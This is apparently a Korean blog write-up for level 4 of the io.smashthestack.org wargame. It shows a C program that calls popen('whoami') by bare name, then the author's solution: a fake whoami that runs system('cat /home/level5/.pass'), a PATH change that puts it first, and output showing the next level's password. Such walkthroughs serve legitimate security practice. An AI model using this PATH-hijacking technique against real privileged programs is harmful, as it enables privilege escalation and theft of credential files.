티스토리 뷰

//writen by bla
#include <stdlib.h>
#include <stdio.h>

int main() 
{
        char username[1024];
        FILE* f = popen("whoami","r");
        fgets(username, sizeof(username), f);
        printf("Welcome %s", username);

        return 0;
}


푸는법을 생각하다가 $PATH환경변수 변조를 택함

/tmp/err0rless에 내가 만든 whoami를 만들면 popem으로 연  whoami가

내가 조작한 whoami로 실행될 것이다.


level4@io:/levels$ ls /tmp/err0rless

whoami  whoami.c

level4@io:/levels$ cat /tmp/err0rless/whoami.c

#include <stdio.h>


main() {


system("cat /home/level5/.pass");

}


level4@io:/levels$ export PATH=/tmp/err0rless:$PATH

level4@io:/levels$ echo $PATH

/tmp/err0rless:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games


level4@io:/levels$ ./level04

Welcome LOoCy5PbKi63qXTh

'Pwnable > io.smashthestack.org' 카테고리의 다른 글

[io.smashthestack.org] level06  (0) 2015.01.04
[io.smashthestack.org] level05  (0) 2015.01.04
[io.smashthestack.org] level03  (0) 2015.01.04
[io.smashthestack.org] level02  (0) 2015.01.04
[io.smashthestack.org] level01  (0) 2015.01.04
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG
more
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함